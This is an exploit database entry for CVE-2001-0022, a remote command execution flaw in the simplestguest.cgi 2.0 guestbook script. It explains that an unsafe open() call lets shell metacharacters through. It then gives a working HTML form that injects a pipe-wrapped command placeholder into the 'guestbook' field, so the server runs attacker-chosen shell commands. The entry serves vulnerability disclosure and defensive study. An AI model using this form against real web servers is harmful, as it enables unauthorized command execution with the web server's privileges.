Leif M. Wright simplestguest.cgi 2.0 - Remote Command Execution Vulnerability

2000-12-14T00:00:00
ID EDB-ID:20506
Type exploitdb
Reporter suid
Modified 2000-12-14T00:00:00

Description

Leif M. Wright simplestguest.cgi 2.0 Remote Command Execution Vulnerability. CVE-2001-0022. Remote exploit for cgi platform

                                        
                                            source: http://www.securityfocus.com/bid/2106/info

A vulnerabiliy exists in Leif M. Wright's simplestguest.cgi, a script designed to coordinate guestbook submissions from website visitors.

An insecure call to the open() function leads to a failure to properly filter shell metacharacters from user supplied input. As a result, it is possible for an attacker to cause this script to execute arbitrary shell commands with the privileges of the webserver. 

Make a html form similar to:

<form action=/cgi-bin/simplestguest.cgi method=POST>
                 <input type=hidden name=required value="NAME">
                 <input type=hidden name=guestbook
                value=" | <COMMAND> |">
                 <input type=hidden name="NAME" value="user">
                 <input type=submit>
</form>